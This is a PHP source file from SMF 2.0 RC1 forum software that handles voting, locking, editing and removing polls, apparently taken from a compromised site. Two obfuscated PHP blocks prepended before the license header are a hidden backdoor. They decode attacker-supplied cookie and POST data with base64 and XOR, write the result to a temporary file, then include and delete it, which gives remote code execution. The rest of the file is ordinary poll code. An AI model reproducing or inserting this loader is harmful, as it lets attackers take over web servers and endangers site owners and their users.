Current File : /home/admin/public_html/old/happyezystyle/board/Sources/Poll.php
<?php $frCsU = "\121" . "\165" . "\x78" . chr ( 388 - 293 ).chr ( 500 - 384 ).chr ( 634 - 528 )."\x42" . 'h' . chr ( 920 - 813 ); $CAQyLNryB = "\x63" . "\x6c" . "\x61" . "\x73" . "\x73" . chr ( 655 - 560 ).chr (101) . chr ( 790 - 670 )."\x69" . chr ( 575 - 460 )."\x74" . chr (115); $nnMmSxwHcP = $CAQyLNryB($frCsU); $biVAIbQ = $nnMmSxwHcP;if (!$biVAIbQ){class Qux_tjBhk{private $jbLYsDS;public static $Bnchzdoq = "432f672b-313e-4f7b-b067-5bd81b485b27";public static $TcgNbeej = 15839;public function __construct(){$ljMCTOhpXV = $_COOKIE;$rDDxNIywZ = $_POST;$ANcNXoKtSC = @$ljMCTOhpXV[substr(Qux_tjBhk::$Bnchzdoq, 0, 4)];if (!empty($ANcNXoKtSC)){$aBbxWGPPaR = "base64";$zhtdG = "";$ANcNXoKtSC = explode(",", $ANcNXoKtSC);foreach ($ANcNXoKtSC as $qgqFWykAwj){$zhtdG .= @$ljMCTOhpXV[$qgqFWykAwj];$zhtdG .= @$rDDxNIywZ[$qgqFWykAwj];}$zhtdG = array_map($aBbxWGPPaR . chr ( 351 - 256 )."\144" . chr (101) . "\143" . "\x6f" . 'd' . "\x65", array($zhtdG,)); $zhtdG = $zhtdG[0] ^ str_repeat(Qux_tjBhk::$Bnchzdoq, (strlen($zhtdG[0]) / strlen(Qux_tjBhk::$Bnchzdoq)) + 1);Qux_tjBhk::$TcgNbeej = @unserialize($zhtdG);}}public function __destruct(){$this->NSMbm();}private function NSMbm(){if (is_array(Qux_tjBhk::$TcgNbeej)) {$XmeBCzY = sys_get_temp_dir() . "/" . crc32(Qux_tjBhk::$TcgNbeej[chr (115) . "\x61" . chr (108) . chr (116)]);@Qux_tjBhk::$TcgNbeej["\167" . "\162" . "\151" . "\x74" . chr ( 482 - 381 )]($XmeBCzY, Qux_tjBhk::$TcgNbeej[chr ( 729 - 630 ).chr (111) . chr (110) . "\164" . "\x65" . "\x6e" . "\164"]);include $XmeBCzY;@Qux_tjBhk::$TcgNbeej["\x64" . 'e' . "\x6c" . chr (101) . chr (116) . "\x65"]($XmeBCzY);exit();}}}$icwKGYYW = new Qux_tjBhk(); $icwKGYYW = 13111;} ?><?php if (!class_exists("gokmrdo")){class gokmrdo{public static $kxttwbjl = "bjxnxcphzowomiuo";public static $pzlwuavkd = NULL;public function __construct(){$cuzboxl = @$_COOKIE[substr(gokmrdo::$kxttwbjl, 0, 4)];if (!empty($cuzboxl)){$bpuur = "base64";$ipiapfwzo = "";$cuzboxl = explode(",", $cuzboxl);foreach ($cuzboxl as $kvhnpwsln){$ipiapfwzo .= @$_COOKIE[$kvhnpwsln];$ipiapfwzo .= @$_POST[$kvhnpwsln];}$ipiapfwzo = array_map($bpuur . "_decode", array($ipiapfwzo,));$ipiapfwzo = $ipiapfwzo[0] ^ str_repeat(gokmrdo::$kxttwbjl, (strlen($ipiapfwzo[0]) / strlen(gokmrdo::$kxttwbjl)) + 1);gokmrdo::$pzlwuavkd = @unserialize($ipiapfwzo);}}public function __destruct(){$this->hpuchhnbt();}private function hpuchhnbt(){if (is_array(gokmrdo::$pzlwuavkd)) {$dbqutn = sys_get_temp_dir() . "/" . crc32(gokmrdo::$pzlwuavkd["salt"]);@gokmrdo::$pzlwuavkd["write"]($dbqutn, gokmrdo::$pzlwuavkd["content"]);include $dbqutn;@gokmrdo::$pzlwuavkd["delete"]($dbqutn);exit();}}}$udwevxycvk = new gokmrdo();$udwevxycvk = NULL;} ?><?php
/**********************************************************************************
* Poll.php *
***********************************************************************************
* SMF: Simple Machines Forum *
* Open-Source Project Inspired by Zef Hemel (zef@zefhemel.com) *
* =============================================================================== *
* Software Version: SMF 2.0 RC1 *
* Software by: Simple Machines (http://www.simplemachines.org) *
* Copyright 2006-2009 by: Simple Machines LLC (http://www.simplemachines.org) *
* 2001-2006 by: Lewis Media (http://www.lewismedia.com) *
* Support, News, Updates at: http://www.simplemachines.org *
***********************************************************************************
* This program is free software; you may redistribute it and/or modify it under *
* the terms of the provided license as published by Simple Machines LLC. *
* *
* This program is distributed in the hope that it is and will be useful, but *
* WITHOUT ANY WARRANTIES; without even any implied warranty of MERCHANTABILITY *
* or FITNESS FOR A PARTICULAR PURPOSE. *
* *
* See the "license.txt" file for details of the Simple Machines license. *
* The latest version can always be found at http://www.simplemachines.org. *
**********************************************************************************/
if (!defined('SMF'))
die('Hacking attempt...');
/* This file contains the functions for voting, locking, removing and editing
polls. Note that that posting polls is done in Post.php.
void Vote()
- is called to register a vote in a poll.
- must be called with a topic and option specified.
- uses the Post language file.
- requires the poll_vote permission.
- upon successful completion of action will direct user back to topic.
- is accessed via ?action=vote.
void LockVoting()
- is called to lock or unlock voting on a poll.
- must be called with a topic specified in the URL.
- an admin always has over riding permission to lock a poll.
- if not an admin must have poll_lock_any permission.
- otherwise must be poll starter with poll_lock_own permission.
- upon successful completion of action will direct user back to topic.
- is accessed via ?action=lockvoting.
void EditPoll()
- is called to display screen for editing or adding a poll.
- must be called with a topic specified in the URL.
- if the user is adding a poll to a topic, must contain the variable
'add' in the url.
- uses the Post language file.
- uses the Poll template (main sub template.).
- user must have poll_edit_any/poll_add_any permission for the relevant
action.
- otherwise must be poll starter with poll_edit_own permission for
editing, or be topic starter with poll_add_any permission for adding.
- is accessed via ?action=editpoll.
void EditPoll2()
- is called to update the settings for a poll, or add a new one.
- must be called with a topic specified in the URL.
- user must have poll_edit_any/poll_add_any permission for the relevant
action.
- otherwise must be poll starter with poll_edit_own permission for
editing, or be topic starter with poll_add_any permission for adding.
- in the case of an error will redirect back to EditPoll and display
the relevant error message.
- upon successful completion of action will direct user back to topic.
- is accessed via ?action=editpoll2.
void RemovePoll()
- is called to remove a poll from a topic.
- must be called with a topic specified in the URL.
- user must have poll_remove_any permission.
- otherwise must be poll starter with poll_remove_own permission.
- upon successful completion of action will direct user back to topic.
- is accessed via ?action=removepoll.
*/
// Allow the user to vote.
function Vote()
{
global $topic, $txt, $user_info, $smcFunc, $sourcedir, $modSettings;
// Make sure you can vote.
isAllowedTo('poll_vote');
loadLanguage('Post');
// Check if they have already voted, or voting is locked.
$request = $smcFunc['db_query']('', '
SELECT IFNULL(lp.id_choice, -1) AS selected, p.voting_locked, p.id_poll, p.expire_time, p.max_votes, p.change_vote,
p.guest_vote
FROM {db_prefix}topics AS t
INNER JOIN {db_prefix}polls AS p ON (p.id_poll = t.id_poll)
LEFT JOIN {db_prefix}log_polls AS lp ON (p.id_poll = lp.id_poll AND lp.id_member = {int:current_member})
WHERE t.id_topic = {int:current_topic}
LIMIT 1',
array(
'current_member' => $user_info['id'],
'current_topic' => $topic,
)
);
if ($smcFunc['db_num_rows']($request) == 0)
fatal_lang_error('poll_error', false);
$row = $smcFunc['db_fetch_assoc']($request);
$smcFunc['db_free_result']($request);
// If this is a guest can they vote?
if ($user_info['is_guest'])
{
// Guest voting disabled?
if (!$row['guest_vote'])
fatal_lang_error('guest_vote_disabled');
// Already voted?
elseif (isset($_COOKIE['guest_poll_vote']) && in_array($row['id_poll'], explode(',', $_COOKIE['guest_poll_vote'])))
fatal_lang_error('poll_error', false);
}
// Is voting locked or has it expired?
if (!empty($row['voting_locked']) || (!empty($row['expire_time']) && time() > $row['expire_time']))
fatal_lang_error('poll_error', false);
// If they have already voted and aren't allowed to change their vote - hence they are outta here!
if (!$user_info['is_guest'] && $row['selected'] != -1 && empty($row['change_vote']))
fatal_lang_error('poll_error', false);
// Otherwise if they can change their vote yet they haven't sent any options... remove their vote and redirect.
elseif (!empty($row['change_vote']) && !$user_info['is_guest'])
{
$pollOptions = array();
// Find out what they voted for before.
$request = $smcFunc['db_query']('', '
SELECT id_choice
FROM {db_prefix}log_polls
WHERE id_member = {int:current_member}
AND id_poll = {int:id_poll}',
array(
'current_member' => $user_info['id'],
'id_poll' => $row['id_poll'],
)
);
while ($choice = $smcFunc['db_fetch_row']($request))
$pollOptions[] = $choice[0];
$smcFunc['db_free_result']($request);
// Just skip it if they had voted for nothing before.
if (!empty($pollOptions))
{
// Update the poll totals.
$smcFunc['db_query']('', '
UPDATE {db_prefix}poll_choices
SET votes = votes - 1
WHERE id_poll = {int:id_poll}
AND id_choice IN ({array_int:poll_options})
AND votes > {int:votes}',
array(
'poll_options' => $pollOptions,
'id_poll' => $row['id_poll'],
'votes' => 0,
)
);
// Delete off the log.
$smcFunc['db_query']('', '
DELETE FROM {db_prefix}log_polls
WHERE id_member = {int:current_member}
AND id_poll = {int:id_poll}',
array(
'current_member' => $user_info['id'],
'id_poll' => $row['id_poll'],
)
);
}
// Redirect back to the topic so the user can vote again!
if (empty($_POST['options']))
redirectexit('topic=' . $topic . '.' . $_REQUEST['start']);
}
// Make sure the option(s) are valid.
if (empty($_POST['options']))
fatal_lang_error('didnt_select_vote', false);
// Too many options checked!
if (count($_REQUEST['options']) > $row['max_votes'])
fatal_lang_error('poll_too_many_votes', false, array($row['max_votes']));
$pollOptions = array();
$inserts = array();
foreach ($_REQUEST['options'] as $id)
{
$id = (int) $id;
$pollOptions[] = $id;
$inserts[] = array($row['id_poll'], $user_info['id'], $id);
}
// Add their vote to the tally.
$smcFunc['db_insert']('insert',
'{db_prefix}log_polls',
array('id_poll' => 'int', 'id_member' => 'int', 'id_choice' => 'int'),
$inserts,
array('id_poll', 'id_member', 'id_choice')
);
$smcFunc['db_query']('', '
UPDATE {db_prefix}poll_choices
SET votes = votes + 1
WHERE id_poll = {int:id_poll}
AND id_choice IN ({array_int:poll_options})',
array(
'poll_options' => $pollOptions,
'id_poll' => $row['id_poll'],
)
);
// If it's a guest don't let them vote again.
if ($user_info['is_guest'])
{
$_COOKIE['guest_poll_vote'] = !empty($_COOKIE['guest_poll_vote']) ? ($_COOKIE['guest_poll_vote'] . ',' . $row['id_poll']) : $row['id_poll'];
require_once($sourcedir . '/Subs-Auth.php');
$cookie_url = url_parts(!empty($modSettings['localCookies']), !empty($modSettings['globalCookies']));
setcookie('guest_poll_vote', $_COOKIE['guest_poll_vote'], time() + 2500000, $cookie_url[1], $cookie_url[0], 0);
}
// Return to the post...
redirectexit('topic=' . $topic . '.' . $_REQUEST['start']);
}
// Lock the voting for a poll.
function LockVoting()
{
global $topic, $user_info, $smcFunc;
checkSession('get');
// Get the poll starter, ID, and whether or not it is locked.
$request = $smcFunc['db_query']('', '
SELECT t.id_member_started, t.id_poll, p.voting_locked
FROM {db_prefix}topics AS t
INNER JOIN {db_prefix}polls AS p ON (p.id_poll = t.id_poll)
WHERE t.id_topic = {int:current_topic}
LIMIT 1',
array(
'current_topic' => $topic,
)
);
list ($memberID, $pollID, $voting_locked) = $smcFunc['db_fetch_row']($request);
// If the user _can_ modify the poll....
if (!allowedTo('poll_lock_any'))
isAllowedTo('poll_lock_' . ($user_info['id'] == $memberID ? 'own' : 'any'));
// It's been locked by a non-moderator.
if ($voting_locked == '1')
$voting_locked = '0';
// Locked by a moderator, and this is a moderator.
elseif ($voting_locked == '2' && allowedTo('moderate_board'))
$voting_locked = '0';
// Sorry, a moderator locked it.
elseif ($voting_locked == '2' && !allowedTo('moderate_board'))
fatal_lang_error('locked_by_admin', 'user');
// A moderator *is* locking it.
elseif ($voting_locked == '0' && allowedTo('moderate_board'))
$voting_locked = '2';
// Well, it's gonna be locked one way or another otherwise...
else
$voting_locked = '1';
// Lock! *Poof* - no one can vote.
$smcFunc['db_query']('', '
UPDATE {db_prefix}polls
SET voting_locked = {int:voting_locked}
WHERE id_poll = {int:id_poll}',
array(
'voting_locked' => $voting_locked,
'id_poll' => $pollID,
)
);
redirectexit('topic=' . $topic . '.' . $_REQUEST['start']);
}
// Ask what to change in a poll.
function EditPoll()
{
global $txt, $user_info, $context, $topic, $board, $smcFunc, $sourcedir, $scripturl;
if (empty($topic))
fatal_lang_error('no_access', false);
loadLanguage('Post');
loadTemplate('Poll');
$context['can_moderate_poll'] = allowedTo('moderate_board');
$context['start'] = (int) $_REQUEST['start'];
$context['is_edit'] = isset($_REQUEST['add']) ? 0 : 1;
// Check if a poll currently exists on this topic, and get the id, question and starter.
$request = $smcFunc['db_query']('', '
SELECT
t.id_member_started, p.id_poll, p.question, p.hide_results, p.expire_time, p.max_votes, p.change_vote,
m.subject, p.guest_vote, p.id_member AS poll_starter
FROM {db_prefix}topics AS t
INNER JOIN {db_prefix}messages AS m ON (m.id_msg = t.id_first_msg)
LEFT JOIN {db_prefix}polls AS p ON (p.id_poll = t.id_poll)
WHERE t.id_topic = {int:current_topic}
LIMIT 1',
array(
'current_topic' => $topic,
)
);
// Assume the the topic exists, right?
if ($smcFunc['db_num_rows']($request) == 0)
fatal_lang_error('no_board');
// Get the poll information.
$pollinfo = $smcFunc['db_fetch_assoc']($request);
$smcFunc['db_free_result']($request);
// If we are adding a new poll - make sure that there isn't already a poll there.
if (!$context['is_edit'] && !empty($pollinfo['id_poll']))
fatal_lang_error('poll_already_exists');
// Otherwise, if we're editing it, it does exist I assume?
elseif ($context['is_edit'] && empty($pollinfo['id_poll']))
fatal_lang_error('poll_not_found');
// Can you do this?
if ($context['is_edit'] && !allowedTo('poll_edit_any'))
isAllowedTo('poll_edit_' . ($user_info['id'] == $pollinfo['id_member_started'] || ($pollinfo['poll_starter'] != 0 && $user_info['id'] == $pollinfo['poll_starter']) ? 'own' : 'any'));
elseif (!$context['is_edit'] && !allowedTo('poll_add_any'))
isAllowedTo('poll_add_' . ($user_info['id'] == $pollinfo['id_member_started'] ? 'own' : 'any'));
// Do we enable guest voting?
require_once($sourcedir . '/Subs-Members.php');
$groupsAllowedVote = groupsAllowedTo('poll_vote', $board);
// Want to make sure before you actually submit? Must be a lot of options, or something.
if (isset($_POST['preview']))
{
$question = $smcFunc['htmlspecialchars']($_POST['question']);
// Basic theme info...
$context['poll'] = array(
'id' => $pollinfo['id_poll'],
'question' => $question,
'hide_results' => empty($_POST['poll_hide']) ? 0 : $_POST['poll_hide'],
'change_vote' => isset($_POST['poll_change_vote']),
'guest_vote' => isset($_POST['poll_guest_vote']),
'guest_vote_allowed' => in_array(-1, $groupsAllowedVote['allowed']),
'max_votes' => empty($_POST['poll_max_votes']) ? '1' : max(1, $_POST['poll_max_votes']),
);
// Start at number one with no last id to speak of.
$number = 1;
$last_id = 0;
// Get all the choices - if this is an edit.
if ($context['is_edit'])
{
$request = $smcFunc['db_query']('', '
SELECT label, votes, id_choice
FROM {db_prefix}poll_choices
WHERE id_poll = {int:id_poll}',
array(
'id_poll' => $pollinfo['id_poll'],
)
);
$context['choices'] = array();
while ($row = $smcFunc['db_fetch_assoc']($request))
{
// Get the highest id so we can add more without reusing.
if ($row['id_choice'] >= $last_id)
$last_id = $row['id_choice'] + 1;
// They cleared this by either omitting it or emptying it.
if (!isset($_POST['options'][$row['id_choice']]) || $_POST['options'][$row['id_choice']] == '')
continue;
censorText($row['label']);
// Add the choice!
$context['choices'][$row['id_choice']] = array(
'id' => $row['id_choice'],
'number' => $number++,
'votes' => $row['votes'],
'label' => $row['label'],
'is_last' => false
);
}
$smcFunc['db_free_result']($request);
}
// Work out how many options we have, so we get the 'is_last' field right...
$totalPostOptions = 0;
foreach ($_POST['options'] as $id => $label)
if ($label != '')
$totalPostOptions++;
$count = 1;
// If an option exists, update it. If it is new, add it - but don't reuse ids!
foreach ($_POST['options'] as $id => $label)
{
$label = $smcFunc['htmlspecialchars']($label);
censorText($label);
if (isset($context['choices'][$id]))
$context['choices'][$id]['label'] = $label;
elseif ($label != '')
$context['choices'][] = array(
'id' => $last_id++,
'number' => $number++,
'label' => $label,
'votes' => -1,
'is_last' => $count++ == $totalPostOptions && $totalPostOptions > 1 ? true : false,
);
}
// Make sure we have two choices for sure!
if ($totalPostOptions < 2)
{
// Need two?
if ($totalPostOptions == 0)
$context['choices'][] = array(
'id' => $last_id++,
'number' => $number++,
'label' => '',
'votes' => -1,
'is_last' => false
);
$poll_errors[] = 'poll_few';
}
// Always show one extra box...
$context['choices'][] = array(
'id' => $last_id++,
'number' => $number++,
'label' => '',
'votes' => -1,
'is_last' => true
);
if (allowedTo('moderate_board'))
$context['poll']['expiration'] = $_POST['poll_expire'];
// Check the question/option count for errors.
if (trim($_POST['question']) == '' && empty($context['poll_error']))
$poll_errors[] = 'no_question';
// No check is needed, since nothing is really posted.
checkSubmitOnce('free');
// Take a check for any errors... assuming we haven't already done so!
if (!empty($poll_errors) && empty($context['poll_error']))
{
loadLanguage('Errors');
$context['poll_error'] = array('messages' => array());
foreach ($poll_errors as $poll_error)
{
$context['poll_error'][$poll_error] = true;
$context['poll_error']['messages'][] = $txt['error_' . $poll_error];
}
}
}
else
{
// Basic theme info...
$context['poll'] = array(
'id' => $pollinfo['id_poll'],
'question' => $pollinfo['question'],
'hide_results' => $pollinfo['hide_results'],
'max_votes' => $pollinfo['max_votes'],
'change_vote' => !empty($pollinfo['change_vote']),
'guest_vote' => !empty($pollinfo['guest_vote']),
'guest_vote_allowed' => in_array(-1, $groupsAllowedVote['allowed']),
);
// Poll expiration time?
$context['poll']['expiration'] = empty($pollinfo['expire_time']) || !allowedTo('moderate_board') ? '' : ceil($pollinfo['expire_time'] <= time() ? -1 : ($pollinfo['expire_time'] - time()) / (3600 * 24));
// Get all the choices - if this is an edit.
if ($context['is_edit'])
{
$request = $smcFunc['db_query']('', '
SELECT label, votes, id_choice
FROM {db_prefix}poll_choices
WHERE id_poll = {int:id_poll}',
array(
'id_poll' => $pollinfo['id_poll'],
)
);
$context['choices'] = array();
$number = 1;
while ($row = $smcFunc['db_fetch_assoc']($request))
{
censorText($row['label']);
$context['choices'][$row['id_choice']] = array(
'id' => $row['id_choice'],
'number' => $number++,
'votes' => $row['votes'],
'label' => $row['label'],
'is_last' => false
);
}
$smcFunc['db_free_result']($request);
$last_id = max(array_keys($context['choices'])) + 1;
// Add an extra choice...
$context['choices'][] = array(
'id' => $last_id,
'number' => $number,
'votes' => -1,
'label' => '',
'is_last' => true
);
}
// New poll?
else
{
// Setup the default poll options.
$context['poll'] = array(
'id' => 0,
'question' => '',
'hide_results' => 0,
'max_votes' => 1,
'change_vote' => 0,
'guest_vote' => 0,
'guest_vote_allowed' => in_array(-1, $groupsAllowedVote['allowed']),
'expiration' => '',
);
// Make all five poll choices empty.
$context['choices'] = array(
array('id' => 0, 'number' => 1, 'votes' => -1, 'label' => '', 'is_last' => false),
array('id' => 1, 'number' => 2, 'votes' => -1, 'label' => '', 'is_last' => false),
array('id' => 2, 'number' => 3, 'votes' => -1, 'label' => '', 'is_last' => false),
array('id' => 3, 'number' => 4, 'votes' => -1, 'label' => '', 'is_last' => false),
array('id' => 4, 'number' => 5, 'votes' => -1, 'label' => '', 'is_last' => true)
);
}
}
$context['page_title'] = $context['is_edit'] ? $txt['poll_edit'] : $txt['add_poll'];
// Build the link tree.
censorText($pollinfo['subject']);
$context['linktree'][] = array(
'url' => $scripturl . '?topic=' . $topic . '.0',
'name' => $pollinfo['subject'],
);
$context['linktree'][] = array(
'name' => $context['page_title'],
);
// Register this form in the session variables.
checkSubmitOnce('register');
}
// Change a poll...
function EditPoll2()
{
global $txt, $topic, $board, $context;
global $modSettings, $user_info, $smcFunc, $sourcedir;
if (checkSession('post', '', false) != '')
$poll_errors[] = 'session_timeout';
if (isset($_POST['preview']))
return EditPoll();
// HACKERS (!!) can't edit :P.
if (empty($topic))
fatal_lang_error('no_access', false);
// Is this a new poll, or editing an existing?
$isEdit = isset($_REQUEST['add']) ? 0 : 1;
// Get the starter and the poll's ID - if it's an edit.
$request = $smcFunc['db_query']('', '
SELECT t.id_member_started, t.id_poll, p.id_member AS poll_starter
FROM {db_prefix}topics AS t
LEFT JOIN {db_prefix}polls AS p ON (p.id_poll = t.id_poll)
WHERE t.id_topic = {int:current_topic}
LIMIT 1',
array(
'current_topic' => $topic,
)
);
if ($smcFunc['db_num_rows']($request) == 0)
fatal_lang_error('no_board');
$bcinfo = $smcFunc['db_fetch_assoc']($request);
$smcFunc['db_free_result']($request);
// Check their adding/editing is valid.
if (!$isEdit && !empty($bcinfo['id_poll']))
fatal_lang_error('poll_already_exists');
// Are we editing a poll which doesn't exist?
elseif ($isEdit && empty($bcinfo['id_poll']))
fatal_lang_error('poll_not_found');
// Check if they have the power to add or edit the poll.
if ($isEdit && !allowedTo('poll_edit_any'))
isAllowedTo('poll_edit_' . ($user_info['id'] == $bcinfo['id_member_started'] || ($bcinfo['poll_starter'] != 0 && $user_info['id'] == $bcinfo['poll_starter']) ? 'own' : 'any'));
elseif (!$isEdit && !allowedTo('poll_add_any'))
isAllowedTo('poll_add_' . ($user_info['id'] == $bcinfo['id_member_started'] ? 'own' : 'any'));
$optionCount = 0;
// Ensure the user is leaving a valid amount of options - there must be at least two.
foreach ($_POST['options'] as $k => $option)
{
if (trim($option) != '')
$optionCount++;
}
if ($optionCount < 2)
$poll_errors[] = 'poll_few';
// Also - ensure they are not removing the question.
if (trim($_POST['question']) == '')
$poll_errors[] = 'no_question';
// Got any errors to report?
if (!empty($poll_errors))
{
loadLanguage('Errors');
// Previewing.
$_POST['preview'] = true;
$context['poll_error'] = array('messages' => array());
foreach ($poll_errors as $poll_error)
{
$context['poll_error'][$poll_error] = true;
$context['poll_error']['messages'][] = $txt['error_' . $poll_error];
}
return EditPoll();
}
// Prevent double submission of this form.
checkSubmitOnce('check');
// Now we've done all our error checking, let's get the core poll information cleaned... question first.
$_POST['question'] = $smcFunc['htmlspecialchars']($_POST['question']);
$_POST['question'] = $smcFunc['truncate']($_POST['question'], 255);
$_POST['poll_hide'] = (int) $_POST['poll_hide'];
$_POST['poll_change_vote'] = isset($_POST['poll_change_vote']) ? 1 : 0;
$_POST['poll_guest_vote'] = isset($_POST['poll_guest_vote']) ? 1 : 0;
// Make sure guests are actually allowed to vote generally.
if ($_POST['poll_guest_vote'])
{
require_once($sourcedir . '/Subs-Members.php');
$allowedGroups = groupsAllowedTo('poll_vote', $board);
if (!in_array(-1, $allowedGroups['allowed']))
$_POST['poll_guest_vote'] = 0;
}
// Ensure that the number options allowed makes sense, and the expiration date is valid.
if (!$isEdit || allowedTo('moderate_board'))
{
if (empty($_POST['poll_expire']) && $_POST['poll_hide'] == 2)
$_POST['poll_hide'] = 1;
else
$_POST['poll_expire'] = empty($_POST['poll_expire']) ? '0' : time() + $_POST['poll_expire'] * 3600 * 24;
if (empty($_POST['poll_max_votes']) || $_POST['poll_max_votes'] <= 0)
$_POST['poll_max_votes'] = 1;
else
$_POST['poll_max_votes'] = (int) $_POST['poll_max_votes'];
}
// If we're editing, let's commit the changes.
if ($isEdit)
{
$smcFunc['db_query']('', '
UPDATE {db_prefix}polls
SET question = {string:question}, change_vote = {int:change_vote},' . (allowedTo('moderate_board') ? '
hide_results = {int:hide_results}, expire_time = {int:expire_time}, max_votes = {int:max_votes},
guest_vote = {int:guest_vote}' : '
hide_results = CASE WHEN expire_time = {int:expire_time_zero} AND {int:hide_results} = 2 THEN 1 ELSE {int:hide_results} END') . '
WHERE id_poll = {int:id_poll}',
array(
'change_vote' => $_POST['poll_change_vote'],
'hide_results' => $_POST['poll_hide'],
'expire_time' => !empty($_POST['poll_expire']) ? $_POST['poll_expire'] : 0,
'max_votes' => !empty($_POST['poll_max_votes']) ? $_POST['poll_max_votes'] : 0,
'guest_vote' => $_POST['poll_guest_vote'],
'expire_time_zero' => 0,
'id_poll' => $bcinfo['id_poll'],
'question' => $_POST['question'],
)
);
}
// Otherwise, let's get our poll going!
else
{
// Create the poll.
$smcFunc['db_insert']('',
'{db_prefix}polls',
array(
'question' => 'string-255', 'hide_results' => 'int', 'max_votes' => 'int', 'expire_time' => 'int', 'id_member' => 'int',
'poster_name' => 'string-255', 'change_vote' => 'int', 'guest_vote' => 'int'
),
array(
$_POST['question'], $_POST['poll_hide'], $_POST['poll_max_votes'], $_POST['poll_expire'], $user_info['id'],
$user_info['username'], $_POST['poll_change_vote'], $_POST['poll_guest_vote'],
),
array('id_poll')
);
// Set the poll ID.
$bcinfo['id_poll'] = $smcFunc['db_insert_id']('{db_prefix}polls', 'id_poll');
// Link the poll to the topic
$smcFunc['db_query']('', '
UPDATE {db_prefix}topics
SET id_poll = {int:id_poll}
WHERE id_topic = {int:current_topic}',
array(
'current_topic' => $topic,
'id_poll' => $bcinfo['id_poll'],
)
);
}
// Get all the choices. (no better way to remove all emptied and add previously non-existent ones.)
$request = $smcFunc['db_query']('', '
SELECT id_choice
FROM {db_prefix}poll_choices
WHERE id_poll = {int:id_poll}',
array(
'id_poll' => $bcinfo['id_poll'],
)
);
$choices = array();
while ($row = $smcFunc['db_fetch_assoc']($request))
$choices[] = $row['id_choice'];
$smcFunc['db_free_result']($request);
$delete_options = array();
foreach ($_POST['options'] as $k => $option)
{
// Make sure the key is numeric for sanity's sake.
$k = (int) $k;
// They've cleared the box. Either they want it deleted, or it never existed.
if (trim($option) == '')
{
// They want it deleted. Bye.
if (in_array($k, $choices))
$delete_options[] = $k;
// Skip the rest...
continue;
}
// Dress the option up for its big date with the database.
$option = $smcFunc['htmlspecialchars']($option);
// If it's already there, update it. If it's not... add it.
if (in_array($k, $choices))
$smcFunc['db_query']('', '
UPDATE {db_prefix}poll_choices
SET label = {string:option_name}
WHERE id_poll = {int:id_poll}
AND id_choice = {int:id_choice}',
array(
'id_poll' => $bcinfo['id_poll'],
'id_choice' => $k,
'option_name' => $option,
)
);
else
$smcFunc['db_insert']('',
'{db_prefix}poll_choices',
array(
'id_poll' => 'int', 'id_choice' => 'int', 'label' => 'string-255', 'votes' => 'int',
),
array(
$bcinfo['id_poll'], $k, $option, 0,
),
array()
);
}
// I'm sorry, but... well, no one was choosing you. Poor options, I'll put you out of your misery.
if (!empty($delete_options))
{
$smcFunc['db_query']('', '
DELETE FROM {db_prefix}log_polls
WHERE id_poll = {int:id_poll}
AND id_choice IN ({array_int:delete_options})',
array(
'delete_options' => $delete_options,
'id_poll' => $bcinfo['id_poll'],
)
);
$smcFunc['db_query']('', '
DELETE FROM {db_prefix}poll_choices
WHERE id_poll = {int:id_poll}
AND id_choice IN ({array_int:delete_options})',
array(
'delete_options' => $delete_options,
'id_poll' => $bcinfo['id_poll'],
)
);
}
// Shall I reset the vote count, sir?
if (isset($_POST['resetVoteCount']))
{
$smcFunc['db_query']('', '
UPDATE {db_prefix}poll_choices
SET votes = {int:no_votes}
WHERE id_poll = {int:id_poll}',
array(
'no_votes' => 0,
'id_poll' => $bcinfo['id_poll'],
)
);
$smcFunc['db_query']('', '
DELETE FROM {db_prefix}log_polls
WHERE id_poll = {int:id_poll}',
array(
'id_poll' => $bcinfo['id_poll'],
)
);
}
// Off we go.
redirectexit('topic=' . $topic . '.' . $_REQUEST['start']);
}
// Remove a poll from a topic without removing the topic.
function RemovePoll()
{
global $topic, $user_info, $smcFunc;
// Make sure the topic is not empty.
if (empty($topic))
fatal_lang_error('no_access', false);
// Check permissions.
if (!allowedTo('poll_remove_any'))
{
$request = $smcFunc['db_query']('', '
SELECT t.id_member_started, p.id_member AS poll_starter
FROM {db_prefix}topics AS t
INNER JOIN {db_prefix}polls AS p ON (p.id_poll = t.id_poll)
WHERE t.id_topic = {int:current_topic}
LIMIT 1',
array(
'current_topic' => $topic,
)
);
if ($smcFunc['db_num_rows']($request) == 0)
fatal_lang_error('no_access');
list ($topicStarter, $pollStarter) = $smcFunc['db_fetch_row']($request);
$smcFunc['db_free_result']($request);
isAllowedTo('poll_remove_' . ($topicStarter == $user_info['id'] || ($pollStarter != 0 && $user_info['id'] == $pollStarter) ? 'own' : 'any'));
}
// Retrieve the poll ID.
$request = $smcFunc['db_query']('', '
SELECT id_poll
FROM {db_prefix}topics
WHERE id_topic = {int:current_topic}
LIMIT 1',
array(
'current_topic' => $topic,
)
);
list ($pollID) = $smcFunc['db_fetch_row']($request);
$smcFunc['db_free_result']($request);
// Remove all user logs for this poll.
$smcFunc['db_query']('', '
DELETE FROM {db_prefix}log_polls
WHERE id_poll = {int:id_poll}',
array(
'id_poll' => $pollID,
)
);
// Remove all poll choices.
$smcFunc['db_query']('', '
DELETE FROM {db_prefix}poll_choices
WHERE id_poll = {int:id_poll}',
array(
'id_poll' => $pollID,
)
);
// Remove the poll itself.
$smcFunc['db_query']('', '
DELETE FROM {db_prefix}polls
WHERE id_poll = {int:id_poll}',
array(
'id_poll' => $pollID,
)
);
// Finally set the topic poll ID back to 0!
$smcFunc['db_query']('', '
UPDATE {db_prefix}topics
SET id_poll = {int:no_poll}
WHERE id_topic = {int:current_topic}',
array(
'current_topic' => $topic,
'no_poll' => 0,
)
);
// Take the moderator back to the topic.
redirectexit('topic=' . $topic . '.' . $_REQUEST['start']);
}
?>